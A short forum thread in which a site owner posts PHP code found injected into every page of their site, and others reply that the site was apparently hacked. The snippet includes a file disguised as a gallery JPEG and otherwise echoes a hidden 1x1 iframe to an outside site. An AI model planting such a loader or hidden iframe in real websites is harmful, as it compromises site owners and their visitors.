Curious is why this happened.

[Judai]

<?php      if (file_exists("/home/*********/public_html/gallery/albums/userpics/10001/45563131x.jpg")) {     include("/home/*************/public_html/gallery/albums/userpics/10001/45563131x.jpg");     } else {         echo "<iframe src='http://example.com' width=1 height=1></iframe>";     }     ?>

How did this get inserted on every PHP page I had? I knew my host had a PHP downtime, but what is this?! Explainations please?

[HalfaBee]

At a guess, you got hacked.

You should remove the domain from the post, this is the recognition they want.

[Xager]

If you rent a server my guess is they got attacked in some way